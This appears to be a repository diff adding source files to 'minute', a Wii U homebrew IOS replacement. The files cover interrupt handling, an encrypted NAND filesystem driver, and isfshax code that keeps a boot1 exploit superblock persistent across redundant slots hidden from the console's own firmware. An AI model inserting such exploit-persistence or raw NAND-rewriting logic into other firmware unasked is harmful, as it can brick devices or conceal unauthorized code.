#define IRQ_OHCI1 6
#define IRQ_SD0 7
#define IRQ_WIFI 8
#define IRQ_GPIO1B 10
#define IRQ_GPIO1 11
#define IRQ_RESET 17
#define IRQ_PPCIPC 30
#define IRQ_IPC 31
#define IRQL_SD2 0
#define IRQF_TIMER (1<<IRQ_TIMER)
#define IRQF_NAND (1<<IRQ_NAND)
#define IRQF_AES (1<<IRQ_AES)
#define IRQF_SHA1 (1<<IRQ_SHA1)
#define IRQF_SD0 (1<<IRQ_SD0)
#define IRQF_GPIO1B (1<<IRQ_GPIO1B)
#define IRQF_GPIO1 (1<<IRQ_GPIO1)
#define IRQF_RESET (1<<IRQ_RESET)
#define IRQF_IPC (1<<IRQ_IPC)
#define IRQLF_SD2 (1<<IRQL_SD2)
#define IRQF_ALL ( \
IRQF_TIMER|IRQF_NAND|IRQF_GPIO1B|IRQF_GPIO1| \
IRQF_RESET|IRQF_IPC|IRQF_AES|IRQF_SHA1|IRQF_SD0 \
)
#define IRQLF_ALL ( \
IRQLF_SD2 \
)
#define CPSR_IRQDIS 0x80
#define CPSR_FIQDIS 0x40
#define IRQ_ALARM_MS2REG(x) (1898 * x)
void irq_initialize(void);
void irq_shutdown(void);
void irq_enable(u32 irq);
void irq_disable(u32 irq);
void irql_enable(u32 irq);
void irql_disable(u32 irq);
u32 irq_kill(void);
void irq_restore(u32 cookie);
void irq_wait(void);
void irq_set_alarm(u32 ms, u8 enable);

56
stage2/irq_asm.S Normal file
View File

@ -0,0 +1,56 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "latte.h"
//#include "irq.h"
.globl v_irq
.globl irq_setup_stack
.globl irq_kill
.globl irq_restore
.extern __irqstack_addr
.extern irq_handler
irq_setup_stack:
@ Switch to IRQ mode
mrs r0, cpsr
msr cpsr_c, #0xd2
@ Setup interrupt stack
ldr sp, =__irqstack_addr
@ Restore mode
msr cpsr_c, r0
bx lr
v_irq:
push {r0-r3, r9, r12, lr}
blx irq_handler
pop {r0-r3, r9, r12, lr}
subs pc, lr, #4
irq_kill:
mrs r1, cpsr
and r0, r1, #(0x80|0x40)
orr r1, r1, #(0x80|0x40)
msr cpsr_c, r1
bx lr
irq_restore:
mrs r1, cpsr
bic r1, r1, #(0x80|0x40)
orr r1, r1, r0
msr cpsr_c, r1
bx lr

22
stage2/isfs/hmac_seed.h Normal file
View File

@ -0,0 +1,22 @@
#pragma once
#include "types.h"
#include "sha.h"
#include "hmac.h"
typedef struct {
u16 x1;
u16 uid;
char name[0x0C];
u32 iblk;
u32 ifst;
u32 x3;
u8 pad0[0x24];
} isfs_hmac_data;
_Static_assert(sizeof(isfs_hmac_data) == 0x40, "isfs_hmac_data size must be 0x40!");
typedef struct {
u8 pad0[0x12];
u16 cluster;
u8 pad1[0x2b];
} isfs_hmac_meta;
_Static_assert(sizeof(isfs_hmac_meta) == 0x40, "isfs_hmac_meta size must be 0x40!");

240
stage2/isfs/isfs.c Normal file
View File

@ -0,0 +1,240 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#include "utils.h"
#include "debug.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include "nand.h"
#include "isfs/isfs.h"
#include "isfs/volume.h"
#include "isfs/super.h"
#include "isfs/isfshax.h"
static bool initialized = false;
int isfs_init(void)
{
isfs_ctx *ctx;
int res = 0;
if(initialized) return res;
ctx = isfs_get_volume(ISFSVOL_SLC);
ctx->mounted = !isfs_load_super(ctx, 0, ISFSHAX_GENERATION_FIRST);
/*ctx = isfs_get_volume(ISFSVOL_SLCCMPT);
ctx->mounted = !isfs_load_super(ctx, 0, 0xffffffff);*/
initialized = true;
return 0;
}
int isfs_fini(void)
{
if(!initialized) return 0;
for(int i = 0; i < isfs_num_volumes(); i++)
isfs_get_volume(i)->mounted = false;
initialized = false;
return 0;
}
isfs_fst* isfs_stat(const char* path)
{
isfs_ctx* ctx = NULL;
path = isfs_do_volume(path, &ctx);
if(!ctx || !path) return NULL;
return isfs_find_fst(ctx, NULL, path);
}
int isfs_open(isfs_file* file, const char* path)
{
if(!file || !path) return -1;
isfs_ctx* ctx = NULL;
path = isfs_do_volume(path, &ctx);
if(!ctx) return -2;
isfs_fst* fst = isfs_find_fst(ctx, NULL, path);
if(!fst) return -3;
if(!isfs_fst_is_file(fst)) return -4;
memset(file, 0, sizeof(isfs_file));
file->volume = ctx->volume;
file->fst = fst;
file->cluster = fst->sub;
file->offset = 0;
return 0;
}
int isfs_close(isfs_file* file)
{
if(!file) return -1;
memset(file, 0, sizeof(isfs_file));
return 0;
}
int isfs_seek(isfs_file* file, s32 offset, int whence)
{
if(!file) return -1;
isfs_ctx* ctx = isfs_get_volume(file->volume);
isfs_fst* fst = file->fst;
if(!ctx || !fst) return -2;
switch(whence) {
case SEEK_SET:
if(offset < 0) return -1;
if(offset > fst->size) return -1;
file->offset = offset;
break;
case SEEK_CUR:
if(file->offset + offset > fst->size) return -1;
if(offset + fst->size < 0) return -1;
file->offset += offset;
break;
case SEEK_END:
if(file->offset + offset > fst->size) return -1;
if(offset + fst->size < 0) return -1;
file->offset = fst->size + offset;
break;
}
u16 sub = fst->sub;
size_t size = file->offset;
while(size > 8 * PAGE_SIZE) {
sub = isfs_get_fat(ctx)[sub];
size -= 8 * PAGE_SIZE;
}
file->cluster = sub;
return 0;
}
int isfs_read(isfs_file* file, void* buffer, size_t size, size_t* bytes_read)
{
if(!file || !buffer) return -1;
isfs_ctx* ctx = isfs_get_volume(file->volume);
isfs_fst* fst = file->fst;
if(!ctx || !fst) return -2;
if(size + file->offset > fst->size)
size = fst->size - file->offset;
size_t total = size;
void* cluster_buf = memalign(64, CLUSTER_SIZE);
if(!cluster_buf) return -3;
while(size) {
size_t pos = file->offset % CLUSTER_SIZE;
size_t copy = CLUSTER_SIZE - pos;
if(copy > size) copy = size;
if (isfs_read_volume(ctx, file->cluster, 1, ISFSVOL_FLAG_ENCRYPTED, NULL, cluster_buf) < 0)
{
free(cluster_buf);
return -4;
}
memcpy(buffer, cluster_buf + pos, copy);
file->offset += copy;
buffer += copy;
size -= copy;
if((pos + copy) >= CLUSTER_SIZE)
file->cluster = isfs_get_fat(ctx)[file->cluster];
}
free(cluster_buf);
*bytes_read = total;
return 0;
}
int isfs_diropen(isfs_dir* dir, const char* path)
{
if(!dir || !path) return -1;
isfs_ctx* ctx = NULL;
path = isfs_do_volume(path, &ctx);
if(!ctx) return -2;
isfs_fst* fst = isfs_find_fst(ctx, NULL, path);
if(!fst) return -3;
if(!isfs_fst_is_dir(fst)) return -4;
if(fst->sub == 0xFFFF) return -2;
isfs_fst* root = isfs_get_fst(ctx);
memset(dir, 0, sizeof(isfs_dir));
dir->volume = ctx->volume;
dir->dir = fst;
dir->child = &root[fst->sub];
return 0;
}
int isfs_dirread(isfs_dir* dir, isfs_fst** info)
{
if(!dir) return -1;
isfs_ctx* ctx = isfs_get_volume(dir->volume);
isfs_fst* fst = dir->dir;
if(!ctx || !fst) return -2;
isfs_fst* root = isfs_get_fst(ctx);
if(!info) {
dir->child = &root[fst->sub];
return 0;
}
*info = dir->child;
if(dir->child != NULL) {
if(dir->child->sib == 0xFFFF)
dir->child = NULL;
else
dir->child = &root[dir->child->sib];
}
return 0;
}
int isfs_dirreset(isfs_dir* dir)
{
return isfs_dirread(dir, NULL);
}
int isfs_dirclose(isfs_dir* dir)
{
if(!dir) return -1;
memset(dir, 0, sizeof(isfs_dir));
return 0;
}

69
stage2/isfs/isfs.h Normal file
View File

@ -0,0 +1,69 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef _ISFS_H
#define _ISFS_H
#include "types.h"
#include <sys/iosupport.h>
#include <stdio.h>
#include "super.h"
typedef struct isfs_ctx {
int volume;
const char name[0x10];
const u32 bank;
const u32 super_count;
int index;
u8* const super;
u32 generation;
u32 version;
bool mounted;
void* key;
void* hmac;
devoptab_t devoptab;
} isfs_ctx;
typedef struct isfs_file {
int volume;
isfs_fst* fst;
size_t offset;
u16 cluster;
} isfs_file;
typedef struct isfs_dir {
int volume;
isfs_fst* dir;
isfs_fst* child;
} isfs_dir;
int isfs_init(void);
int isfs_fini(void);
isfs_fst* isfs_stat(const char* path);
int isfs_open(isfs_file* file, const char* path);
int isfs_close(isfs_file* file);
int isfs_seek(isfs_file* file, s32 offset, int whence);
int isfs_read(isfs_file* file, void* buffer, size_t size, size_t* bytes_read);
int isfs_diropen(isfs_dir* dir, const char* path);
int isfs_dirread(isfs_dir* dir, isfs_fst** info);
int isfs_dirreset(isfs_dir* dir);
int isfs_dirclose(isfs_dir* dir);
#ifdef ISFS_DEBUG
# define ISFS_debug(f, arg...) DEBUG("ISFS: " f, ##arg);
#else
# define ISFS_debug(f, arg...)
#endif
#endif

135
stage2/isfs/isfshax.c Normal file
View File

@ -0,0 +1,135 @@
/*
* isfshax.c
*
* Copyright (C) 2021 rw-r-r-0644 <rwrr0644@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*
*
* isfshax is installed to 4 superblock slots for redundancy
* against ecc errors and nand blocks wear out.
*
* when a boot1 superblock recommit attempt (due to ecc errors)
* is detected, the superblock will be rewritten to the next
* isfshax slot after correcting ecc errors.
*
* the generation number is incremented after each correction;
* once the maximum allowed genertion number is reached, all
* isfshax superblocks are rewritten with a lower generation number.
*
* if one of the blocks becomes bad during the rewrite,
* the range of used generations numbers is incremented to ensure
* the old superblock will not be used:
* 0 BAD BLOCKS -> generation no. 0xfffffaff-0xfffffbff
* ...
* 3 BAD BLOCKS -> generation no. 0xfffffdff-0xfffffeff
*
* bad block information is stored along with other informations in a
* separate isfshax info structure inside of the superblock, since all
* isfshax slots are already marked as bad to guard against IOSU intervention
* inside of the normal ISFS cluster allocation table.
*/
#include "types.h"
#include "isfs/isfs.h"
#include "isfs/super.h"
#include "isfs/volume.h"
#include "isfs/isfshax.h"
#include "malloc.h"
/* boot1 superblock loading address.
* this can be used to read the current generation
* and the list of isfshax superblock slots, but it
* can't be rewritten directly to nand as it has been
* modified by the stage1 payload. */
static const isfshax_super *
boot1_superblock = (const isfshax_super *)(0x01f80000);
static isfshax_super
superblock;
int isfshax_refresh()
{
isfs_ctx *slc = isfs_get_volume(ISFSVOL_SLC);
u32 curindex, offs, count = 1, written = 0;
u32 generation;
/* detect if the superblock contains ecc errors and boot1
* attempted to recommit the superblock */
if (boot1_superblock->generation == boot1_superblock->isfshax.generation)
return 0;
/* load the newest valid isfshax superblock slot */
curindex = boot1_superblock->isfshax.index;
for (offs = 0; offs < ISFSHAX_REDUNDANCY; offs++) {
u32 index = (curindex + offs) & (ISFSHAX_REDUNDANCY - 1);
u32 slot = boot1_superblock->isfshax.slots[index] & ~ISFSHAX_BAD_SLOT;
if (isfs_read_super(slc, &superblock, slot) >= 0) {
curindex = index;
break;
}
}
if (offs == ISFSHAX_REDUNDANCY)
return -2;
/* if the last valid generation is reached, rewrite/erase all
* isfshax superblocks with a lower generation number */
generation = superblock.generation + 1;
if (generation >= (superblock.isfshax.generationbase + ISFSHAX_GENERATION_RANGE)) {
generation = superblock.isfshax.generationbase;
count = ISFSHAX_REDUNDANCY;
}
for (offs = 1; (offs <= ISFSHAX_REDUNDANCY) && (written < count); offs++) {
u32 index = (curindex + offs) & (ISFSHAX_REDUNDANCY - 1);
u32 slot = superblock.isfshax.slots[index] & ~ISFSHAX_BAD_SLOT;
/* skip slots that became bad after a superblock rewrite */
if (superblock.isfshax.slots[index] & ISFSHAX_BAD_SLOT)
continue;
/* if the slot currently in use is being rewritten, ensure
* at least another slot was already successfully written */
if ((index == curindex) && !written)
continue;
/* update superblock informations */
superblock.isfshax.index = index;
superblock.isfshax.generation = generation;
superblock.generation = generation;
/* rewrite and verify the superblock */
if (isfs_write_super(slc, &superblock, slot) >= 0)
{
generation++;
written++;
continue;
}
/* block became bad during write operation, mark
* the block as bad and go to next generation range */
superblock.isfshax.slots[index] |= ISFSHAX_BAD_SLOT;
superblock.isfshax.generationbase += ISFSHAX_GENERATION_RANGE;
generation = superblock.isfshax.generationbase;
/* the current superblock became bad. ensure the other
* isfshax superblock are updated with the new generation range
* and bad slot information. */
if (index == curindex)
{
offs = 1;
written = 0;
}
}
/* all isfshax superblocks became bad, or the nand writing code stopped
* working correctly. either way the user should probably be informed. */
if (!written)
return -3;
return 0;
}

47
stage2/isfs/isfshax.h Normal file
View File

@ -0,0 +1,47 @@
/*
* isfshax.h
*
* Copyright (C) 2021 rw-r-r-0644 <rwrr0644@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#pragma once
#include "types.h"
#include "nand.h"
#include "isfs/isfs.h"
#define ISFSHAX_MAGIC 0x48415858
#define ISFSHAX_REDUNDANCY (1 << 2)
#define ISFSHAX_GENERATION_FIRST 0xffff7fff
#define ISFSHAX_GENERATION_RANGE 0x100
#define ISFSHAX_BAD_SLOT 0x80
typedef struct isfshax_info
{
u32 magic;
u8 slots[ISFSHAX_REDUNDANCY];
u32 generation;
u32 generationbase;
u32 index;
} isfshax_info;
_Static_assert(sizeof(isfshax_info) == 0x14, "isfshax_info must be 0x14");
typedef struct isfshax_super
{
char magic[4];
u32 generation;
u32 x1;
u16 fat[CLUSTER_COUNT];
isfs_fst fst[6143];
isfshax_info isfshax;
} PACKED ALIGNED(64) isfshax_super;
_Static_assert(sizeof(isfshax_super) == ISFSSUPER_SIZE, "isfshax_super must be 0x40000");
int isfshax_refresh();

251
stage2/isfs/super.c Normal file
View File

@ -0,0 +1,251 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#include "utils.h"
#include "nand.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include "debug.h"
#include "isfs/isfs.h"
#include "isfs/volume.h"
#include "isfs/hmac_seed.h"
#include "isfs/super.h"
#include "isfs/isfshax.h"
int isfs_get_super_version(void* buffer)
{
if(!memcmp(buffer, "SFFS", 4)) return 0;
if(!memcmp(buffer, "SFS!", 4)) return 1;
return -1;
}
u32 isfs_get_super_generation(void* buffer)
{
return read32((u32)buffer + 4);
}
isfs_hdr* isfs_get_hdr(isfs_ctx* ctx)
{
return (isfs_hdr*)&ctx->super[0];
}
u16* isfs_get_fat(isfs_ctx* ctx)
{
return (u16*)&ctx->super[0x0C];
}
isfs_fst* isfs_get_fst(isfs_ctx* ctx)
{
return (isfs_fst*)&ctx->super[0x10000 + 0x0C];
}
static isfs_fst* isfs_check_file(isfs_ctx* ctx, isfs_fst* fst, const char* path)
{
char fst_name[sizeof(fst->name) + 1] = {0};
memcpy(fst_name, fst->name, sizeof(fst->name));
//ISFS_debug("file: %s vs %s\n", path, fst_name);
if(!strcmp(fst_name, path))
return fst;
return NULL;
}
static isfs_fst* isfs_check_dir(isfs_ctx* ctx, isfs_fst* fst, const char* path)
{
isfs_fst* root = isfs_get_fst(ctx);
size_t size = strlen(path);
const char* remaining = strchr(path, '/');
if(remaining) size = remaining - path;
if(size > sizeof(fst->name)) return NULL;
char name[sizeof(fst->name) + 1] = {0};
memcpy(name, path, size);
char fst_name[sizeof(fst->name) + 1] = {0};
memcpy(fst_name, fst->name, sizeof(fst->name));
if(size == 0 || !strcmp(name, fst_name))
{
if(fst->sub != 0xFFFF && remaining != NULL && remaining[1] != '\0')
{
while(*remaining == '/') remaining++;
return isfs_find_fst(ctx, &root[fst->sub], remaining);
}
return fst;
}
return NULL;
}
int isfs_fst_get_type(const isfs_fst* fst)
{
return fst->mode & 3;
}
bool isfs_fst_is_file(const isfs_fst* fst)
{
return isfs_fst_get_type(fst) == 1;
}
bool isfs_fst_is_dir(const isfs_fst* fst)
{
return isfs_fst_get_type(fst) == 2;
}
isfs_fst* isfs_find_fst(isfs_ctx* ctx, isfs_fst* fst, const char* path)
{
isfs_fst* root = isfs_get_fst(ctx);
if(!fst) fst = root;
if(fst->sib != 0xFFFF) {
isfs_fst* result = isfs_find_fst(ctx, &root[fst->sib], path);
if(result) return result;
}
switch(isfs_fst_get_type(fst)) {
case 1:
return isfs_check_file(ctx, fst, path);
case 2:
return isfs_check_dir(ctx, fst, path);
default:
ISFS_debug("Unknown mode! (%d)\n", isfs_fst_get_type(fst));
break;
}
return NULL;
}
int isfs_super_check_slot(isfs_ctx *ctx, u32 index)
{
u32 offs, cluster = CLUSTER_COUNT - (ctx->super_count - index) * ISFSSUPER_CLUSTERS;
u16* fat = isfs_get_fat(ctx);
for (offs = 0; offs < ISFSSUPER_CLUSTERS; offs++)
if (fat[cluster + offs] != FAT_CLUSTER_RESERVED)
return -1;
return 0;
}
int isfs_super_mark_bad_slot(isfs_ctx *ctx, u32 index)
{
u32 offs, cluster = CLUSTER_COUNT - (ctx->super_count - index) * ISFSSUPER_CLUSTERS;
u16* fat = isfs_get_fat(ctx);
for (offs = 0; offs < ISFSSUPER_CLUSTERS; offs++)
fat[cluster + offs] = FAT_CLUSTER_BAD;
return 0;
}
int isfs_read_super(isfs_ctx *ctx, void *super, int index)
{
u32 cluster = CLUSTER_COUNT - (ctx->super_count - index) * ISFSSUPER_CLUSTERS;
isfs_hmac_meta seed = { .cluster = cluster };
return isfs_read_volume(ctx, cluster, ISFSSUPER_CLUSTERS, ISFSVOL_FLAG_HMAC, &seed, super);
}
int isfs_write_super(isfs_ctx *ctx, void *super, int index)
{
u32 cluster = CLUSTER_COUNT - (ctx->super_count - index) * ISFSSUPER_CLUSTERS;
isfs_hmac_meta seed = { .cluster = cluster };
return isfs_write_volume(ctx, cluster, ISFSSUPER_CLUSTERS, ISFSVOL_FLAG_HMAC | ISFSVOL_FLAG_READBACK, &seed, super);
}
int isfs_find_super(isfs_ctx* ctx, u32 min_generation, u32 max_generation, u32 *generation, u32 *version)
{
void* super = memalign(64, CLUSTER_SIZE);
if(!super) return -1;
struct {
int index;
u32 generation;
u8 version;
} newest = {-1, 0, 0};
for(int i = 0; i < ctx->super_count; i++)
{
u32 cluster = CLUSTER_COUNT - (ctx->super_count - i) * ISFSSUPER_CLUSTERS;
if(isfs_read_volume(ctx, cluster, 1, 0, NULL, super))
continue;
int cur_version = isfs_get_super_version(super);
if(cur_version < 0) continue;
u32 cur_generation = isfs_get_super_generation(super);
if((cur_generation < newest.generation) ||
(cur_generation < min_generation) ||
(cur_generation >= max_generation))
continue;
newest.index = i;
newest.generation = cur_generation;
newest.version = cur_version;
}
free(super);
if(newest.index == -1)
{
ISFS_debug("Failed to find super block.\n");
return -3;
}
ISFS_debug("Found super block (device=%s, version=%u, index=%d, generation=0x%lX)\n",
ctx->name, newest.version, newest.index, newest.generation);
if(generation) *generation = newest.generation;
if(version) *version = newest.version;
return newest.index;
}
int isfs_load_super(isfs_ctx* ctx, u32 min_generation, u32 max_generation)
{
ctx->generation = max_generation;
while((ctx->index = isfs_find_super(ctx, min_generation, ctx->generation, &ctx->generation, &ctx->version)) >= 0)
if(isfs_read_super(ctx, ctx->super, ctx->index) >= 0)
break;
return (ctx->index >= 0) ? 0 : -1;
}
int isfs_commit_super(isfs_ctx* ctx)
{
isfs_get_hdr(ctx)->generation++;
for(int i = 1; i <= ctx->super_count; i++)
{
u32 index = (ctx->index + i) & (ctx->super_count - 1);
if (isfs_super_check_slot(ctx, index) < 0)
continue;
if (isfs_write_super(ctx, ctx->super, index) >= 0)
return 0;
isfs_super_mark_bad_slot(ctx, index);
isfs_get_hdr(ctx)->generation++;
}
return -1;
}

66
stage2/isfs/super.h Normal file
View File

@ -0,0 +1,66 @@
#pragma once
#include "isfs/isfs.h"
#include "nand.h"
#define ISFSSUPER_CLUSTERS 0x10
#define ISFSSUPER_SIZE (ISFSSUPER_CLUSTERS * CLUSTER_SIZE)
typedef struct isfs_fst {
char name[12];
u8 mode;
u8 attr;
u16 sub;
u16 sib;
u32 size;
u16 x1;
u16 uid;
u16 gid;
u32 x3;
} PACKED isfs_fst;
_Static_assert(sizeof(isfs_fst) == 0x20, "isfs_fst size must be 0x20!");
typedef struct isfs_hdr {
char magic[4];
u32 generation;
u32 x1;
} PACKED isfs_hdr;
_Static_assert(sizeof(isfs_hdr) == 0xC, "isfs_hdr size must be 0xC!");
typedef struct isfs_super {
isfs_hdr hdr;
u16 fat[CLUSTER_COUNT];
isfs_fst fst[6143];
u8 pad[20];
} PACKED ALIGNED(64) isfs_super;
_Static_assert(sizeof(isfs_super) == ISFSSUPER_SIZE, "isfs_super must be 0x40000");
#define FAT_CLUSTER_LAST 0xFFFB // last cluster within a chain
#define FAT_CLUSTER_RESERVED 0xFFFC // reserved cluster
#define FAT_CLUSTER_BAD 0xFFFD // bad block (marked at factory)
#define FAT_CLUSTER_EMPTY 0xFFFE // empty (unused / available) space
typedef struct isfs_ctx isfs_ctx;
int isfs_get_super_version(void* buffer);
u32 isfs_get_super_generation(void* buffer);
isfs_hdr* isfs_get_hdr(isfs_ctx* ctx);
u16* isfs_get_fat(isfs_ctx* ctx);
isfs_fst* isfs_get_fst(isfs_ctx* ctx);
void isfs_print_fst(isfs_fst* fst);
int isfs_fst_get_type(const isfs_fst* fst);
bool isfs_fst_is_file(const isfs_fst* fst);
bool isfs_fst_is_dir(const isfs_fst* fst);
isfs_fst* isfs_find_fst(isfs_ctx* ctx, isfs_fst* fst, const char* path);
int isfs_super_check_slot(isfs_ctx *ctx, u32 index);
int isfs_super_mark_bad_slot(isfs_ctx *ctx, u32 index);
int isfs_read_super(isfs_ctx *ctx, void *super, int index);
int isfs_write_super(isfs_ctx *ctx, void *super, int index);
int isfs_find_super(isfs_ctx* ctx, u32 min_generation, u32 max_generation, u32 *generation, u32 *version);
int isfs_load_super(isfs_ctx* ctx, u32 min_generation, u32 max_generation);
int isfs_commit_super(isfs_ctx* ctx);

258
stage2/isfs/volume.c Normal file
View File

@ -0,0 +1,258 @@
#include "types.h"
#include "isfs/isfs.h"
#include "isfs/volume.h"
#include "nand.h"
#include "crypto.h"
#include "aes.h"
#include "hmac.h"
#include "string.h"
static u8 slc_super_buf[ISFSSUPER_SIZE];
/*static u8 slccmpt_super_buf[ISFSSUPER_SIZE];*/
isfs_ctx isfs[4] = {
[ISFSVOL_SLC]
{
.volume = ISFSVOL_SLC,
.name = "slc",
.bank = BANK_SLC,
.key = &otp.nand_key,
.hmac = &otp.nand_hmac,
.super_count = 64,
.super = slc_super_buf,
},
/*[ISFSVOL_SLCCMPT]
{
.volume = ISFSVOL_SLCCMPT,
.name = "slccmpt",
.bank = BANK_SLCCMPT,
.key = &otp.wii_nand_key,
.hmac = &otp.wii_nand_hmac,
.super_count = 16,
.super = slccmpt_super_buf,
},*/
};
int isfs_num_volumes(void)
{
return sizeof(isfs) / sizeof(isfs_ctx);
}
isfs_ctx* isfs_get_volume(int volume)
{
if(volume < isfs_num_volumes() && volume >= 0)
return &isfs[volume];
return NULL;
}
char* isfs_do_volume(const char* path, isfs_ctx** ctx)
{
isfs_ctx* volume = NULL;
if(!path) return NULL;
const char* filename = strchr(path, ':');
if(!filename) return NULL;
if(filename[1] != '/') return NULL;
char mount[sizeof(volume->name)] = {0};
memcpy(mount, path, filename - path);
for(int i = 0; i < isfs_num_volumes(); i++)
{
volume = &isfs[i];
if(strcmp(mount, volume->name)) continue;
if(!volume->mounted) return NULL;
*ctx = volume;
return (char*)(filename + 1);
}
return NULL;
}
int isfs_read_volume(const isfs_ctx* ctx, u32 start_cluster, u32 cluster_count, u32 flags, void *hmac_seed, void *data)
{
u8 saved_hmacs[2][20] = {0}, hmac[20] = {0};
int rc = ISFSVOL_OK;
u32 i, p;
/* enable slc or slccmpt bank */
nand_enable_banks(ctx->bank);
/* read all requested clusters */
for (i = 0; i < cluster_count; i++)
{
u32 cluster = start_cluster + i;
u8 *cluster_data = (u8 *)data + i * CLUSTER_SIZE;
u32 cluster_start = cluster * CLUSTER_PAGES;
/* read cluster pages */
for (p = 0; p < CLUSTER_PAGES; p++)
{
u8 spare[SPARE_SIZE] = {0};
/* attempt to read the page (and correct ecc errors) */
rc = nand_read_page(cluster_start + p, &cluster_data[p * PAGE_SIZE], spare);
/* uncorrectable ecc error or other issues */
if (rc < 0)
return ISFSVOL_ERROR_READ;
/* ECC errors, a refresh might be needed */
if (rc > 0)
rc = ISFSVOL_ECC_CORRECTED;
/* page 6 and 7 store the hmac */
if (p == 6)
{
memcpy(saved_hmacs[0], &spare[1], 20);
memcpy(saved_hmacs[1], &spare[21], 12);
}
if (p == 7)
memcpy(&saved_hmacs[1][12], &spare[1], 8);
}
/* decrypt cluster */
if (flags & ISFSVOL_FLAG_ENCRYPTED)
{
aes_reset();
aes_set_key(ctx->key);
aes_empty_iv();
aes_decrypt(cluster_data, cluster_data, CLUSTER_SIZE / AES_BLOCK_SIZE, 0);
}
}
/* verify hmac */
if (flags & ISFSVOL_FLAG_HMAC)
{
hmac_ctx calc_hmac;
int matched = 0;
/* compute clusters hmac */
hmac_init(&calc_hmac, ctx->hmac, 20);
hmac_update(&calc_hmac, (const u8 *)hmac_seed, SHA_BLOCK_SIZE);
hmac_update(&calc_hmac, (const u8 *)data, cluster_count * CLUSTER_SIZE);
hmac_final(&calc_hmac, hmac);
/* ensure at least one of the saved hmacs matches */
matched += !memcmp(saved_hmacs[0], hmac, sizeof(hmac));
matched += !memcmp(saved_hmacs[1], hmac, sizeof(hmac));
if (matched == 2)
rc = ISFSVOL_OK;
else if (matched == 1)
rc = ISFSVOL_HMAC_PARTIAL;
else
rc = ISFSVOL_ERROR_HMAC;
}
return rc;
}
int isfs_write_volume(const isfs_ctx* ctx, u32 start_cluster, u32 cluster_count, u32 flags, void *hmac_seed, void *data)
{
static u8 blockpg[64][PAGE_SIZE] ALIGNED(64), blocksp[64][SPARE_SIZE];
static u8 pgbuf[PAGE_SIZE] ALIGNED(64), spbuf[SPARE_SIZE];
u8 hmac[20] = {0};
int rc = ISFSVOL_OK;
u32 b, p;
/* enable slc or slccmpt bank */
nand_enable_banks(ctx->bank);
/* compute clusters hmac */
if (flags & ISFSVOL_FLAG_HMAC)
{
hmac_ctx calc_hmac;
hmac_init(&calc_hmac, ctx->hmac, 20);
hmac_update(&calc_hmac, (const u8 *)hmac_seed, SHA_BLOCK_SIZE);
hmac_update(&calc_hmac, (const u8 *)data, cluster_count * CLUSTER_SIZE);
hmac_final(&calc_hmac, hmac);
}
/* setup clusters encryption */
if (flags & ISFSVOL_FLAG_ENCRYPTED)
{
aes_reset();
aes_set_key(ctx->key);
aes_empty_iv();
}
u32 startpage = start_cluster * CLUSTER_PAGES;
u32 endpage = (start_cluster + cluster_count) * CLUSTER_PAGES;
u32 startblock = start_cluster / BLOCK_CLUSTERS;
u32 endblock = (start_cluster + cluster_count + BLOCK_CLUSTERS - 1) / BLOCK_CLUSTERS;
/* process data in nand blocks */
for (b = startblock; (b < endblock) && (rc >= 0); b++)
{
u32 firstblockpage = b * BLOCK_PAGES;
/* prepare block */
for (p = 0; p < 64; p++)
{
u32 curpage = firstblockpage + p; /* current page */
u32 clusidx = curpage % CLUSTER_PAGES; /* index in cluster */
/* if this page is unmodified, read it from nand */
if ((curpage < startpage) || (curpage >= endpage))
{
if (nand_read_page(curpage, blockpg[p], blocksp[p]) < 0)
return ISFSVOL_ERROR_READ;
continue;
}
/* place hmac in page 6 and 7 of a cluster */
memset(blocksp[p], 0, SPARE_SIZE);
switch (clusidx)
{
case 6:
memcpy(&blocksp[p][1], hmac, 20);
memcpy(&blocksp[p][21], hmac, 12);
break;
case 7:
memcpy(&blocksp[p][1], &hmac[12], 8);
break;
}
/* encrypt or copy the data */
u8 *srcdata = (u8*)data + (curpage - startpage) * PAGE_SIZE;
if (flags & ISFSVOL_FLAG_ENCRYPTED)
aes_encrypt(blockpg[p], srcdata, PAGE_SIZE / AES_BLOCK_SIZE, clusidx > 0);
else
memcpy(blockpg[p], srcdata, PAGE_SIZE);
}
/* erase block */
if (nand_erase_block(b) < 0)
return ISFSVOL_ERROR_ERASE;
/* write block */
for (p = 0; p < BLOCK_PAGES; p++)
if (nand_write_page(firstblockpage + p, blockpg[p], blocksp[p]) < 0)
rc = ISFSVOL_ERROR_WRITE;
/* check if pages should be verified after writing */
if (rc || !(flags & ISFSVOL_FLAG_READBACK))
continue;
/* read back pages */
for (p = 0; p < BLOCK_PAGES; p++)
{
if (nand_read_page(firstblockpage + p, pgbuf, spbuf) < 0)
return ISFSVOL_ERROR_READ;
/* page content doesn't match */
if (memcmp(blockpg[p], pgbuf, PAGE_SIZE) ||
memcmp(&blocksp[p][1], &spbuf[1], 0x20))
return ISFSVOL_ERROR_READBACK;
}
}
return rc;
}

25
